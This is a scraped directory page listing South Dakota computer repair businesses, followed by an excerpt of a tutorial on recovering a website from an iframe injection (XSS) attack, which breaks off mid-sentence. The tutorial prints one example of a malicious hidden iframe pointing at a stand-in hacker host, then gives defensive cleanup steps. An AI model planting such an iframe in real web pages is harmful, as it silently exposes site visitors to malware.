IFrame Injection Attack: Cross Site Scripting (XSS) Tutorials Yankton SD
IFrame Injection Attack is considered one of the most common and most basic cross site scripting (XSS) attacks. If you have recently got an iframe attack to your website, do not panic. Here are a few things that you can do immediately after you discovered that your website has been a victim of an iframe injection attack.
Sioux Falls PC Pro
(605) 321-0468
Sioux Falls, SD
(605) 321-0468
Sioux Falls, SD 57104
Services
Computers and Equipment Repair and Maintenance, Computer Consultants, Network Consultants, Computer Systems Consultants and Designers, Information Systems Consultants
Data Provided by:
Firewall Technologies
(605) 940-5498
2008 S Jefferson Ave
Sioux Falls, SD
(605) 940-5498
2008 S Jefferson Ave
Sioux Falls, SD 57105
Services
Computers and Equipment Repair and Maintenance, Computers and Equipment Installation, Computer Cable and Wire Installation, Computer Networking Installation, Computer Networks
Data Provided by:
Integrated Business Solutions
(605) 697-3060
422 4th Street
Brookings, SD
(605) 697-3060
422 4th Street
Brookings, SD 57006
Services
Computer Consultants, Computer and Equipment Dealers, Computer Networks, Copying and Duplicating Services, Consumer Electronics Stores
Data Provided by:
Micro Solutions
(605) 341-4152
1730 Haines Avenue
Rapid City, SD
(605) 341-4152
1730 Haines Avenue
Rapid City, SD 57701
Services
Computers and Equipment Repair and Maintenance, Computer and Equipment Dealers, Computer Supplies Parts and Accessories, Computer Networks, Consumer Electronics Stores
Data Provided by:
Computer One
(605) 886-6211
1028 14th Street Southeast
Watertown, SD
(605) 886-6211
1028 14th Street Southeast
Watertown, SD 57201
Services
Computers and Equipment Repair and Maintenance, Computer and Equipment Dealers, Computer Hardware and Supplies, Computer Networks, Consumer Electronics Stores
Hours
Mf 9-6,24/7 By Appt
Data Provided by:
Micro Fix Inc
(605) 224-9831
357 S Pierre Street
Pierre, SD
Micro Fix Inc
(605) 224-9831
357 S Pierre Street
Pierre, SD 57501
Services
Computers and Equipment Repair and Maintenance, Computer and Equipment Dealers, Computer Parts and Supplies Wholesale and Manufacturers, Computer Networks
Data Provided by:
Mikes Amazing Computer Solutions
(605) 450-0560
Frankfort, SD
Mikes Amazing Computer Solutions
(605) 450-0560
Frankfort, SD 57440
Services
Information Technology Services, Internet Products and Services, Multimedia, Computer Consultants, Computer Graphics and Imaging
Hours
Mon-Fri: 09:00 AM-05:00 PM
Sat-Sun: 09:00 AM-12:00 PM
Payment Options
MasterCard, VISA, Debit Cards, Personal Checks, Money Orders
Data Provided by:
Computer One
(605) 692-4349
102 Main Avenue South
Brookings, SD
(605) 692-4349
102 Main Avenue South
Brookings, SD 57006
Services
Computers and Equipment Repair and Maintenance, Computer and Equipment Dealers, Computer Hardware and Supplies, Computer Networks, Consumer Electronics Stores
Hours
M-F 9-6,24/7 By Appointment
Data Provided by:
Nortek Computers
(605) 697-9042
1206 Main Avenue South
Brookings, SD
(605) 697-9042
1206 Main Avenue South
Brookings, SD 57006
Services
Computers and Equipment Repair and Maintenance, Computer and Equipment Dealers, Help Desk Services, Computer Hardware and Supplies, Consumer Electronics Stores
Data Provided by:
Advanced Computer System
(605) 721-8874
1211 E Saint Francis Street
Rapid City, SD
(605) 721-8874
1211 E Saint Francis Street
Rapid City, SD 57701
Services
Digital Cameras, Computer Consultants, Computer Hardware and Supplies, Computer Software, Video Cameras Sales Service and Repair
Data Provided by:
Data Provided by:
Provided By: 
| IFrame Injection Attack is most common and most basic cross site scripting (XSS) attacks | Written by Vijay Patil
IFrame Injection Attack is considered one of the most common and most basic cross site scripting (XSS) attacks. If you have recently got an iframe attack to your website, do not panic. Here are a few things that you can do immediately after you discovered that your website has been a victim of an iframe injection attack.<iframe src="http://www.example-hacker-site.com/inject/?s=some-parameters" width="1" height="1" style="visibility: hidden"></iframe>
An example of a malicious IFRAME injection code
1. Take your website down for a certain periodIt is recommended to take the website down as you do not want to be distributing malware or virus from your website to your visitors. The website should be offline while you are recovering the site.
2. Change all the passwordsAlthough this may seem like a simple step, many people, including myself, often fail to change all the passwords immediately after an attack has been discovered. You need to change all the passwords associated with the website; which include ftp passwords, ssh passwords, account passwords, database passwords, admin passwords and so on.
3. Take a copy of the affected website for further analysisYou may want to do a further analysis on the attack and might need to refer to the exact injection source code in the future. Take a copy of the affected website in a compressed format, eg: zip or gzip and store it in an quarantine area for later reference. Note that it is not advisable to keep the affected files on the server.
4. Replace the entire site with a clean backup copyDo not rely on your hosting provider for a backup copy of your site. Many hosting providers say they do an automatic backup every night, however, it is more reliable if you have other backup solutions for your website.
5. Test the website and reopenThis is to make sure that the website is reverted to its clean, original version. Once you are happy with the result, you can reopen the website to the public.
6. Analyse how the attack was originatedIn order to ensure that the same attack does not happen again, you will need to do a full analysis of the attack and how it was originated. Was it because of a security hole in your application? Was it caused by a weak file permission? Or is your server affected with some virus that injects these code into your website at regular interval? You will need to understand how it happens in order to prevent it in the future. And when necessary, obtain an expert advice.
7. Perform appropriate security measures based on the analysisAlthough you may have recovered your website, it does not mean your website will not be attacked again. If the same security hole still exists, it is probably very likely that the website will be attac... | |
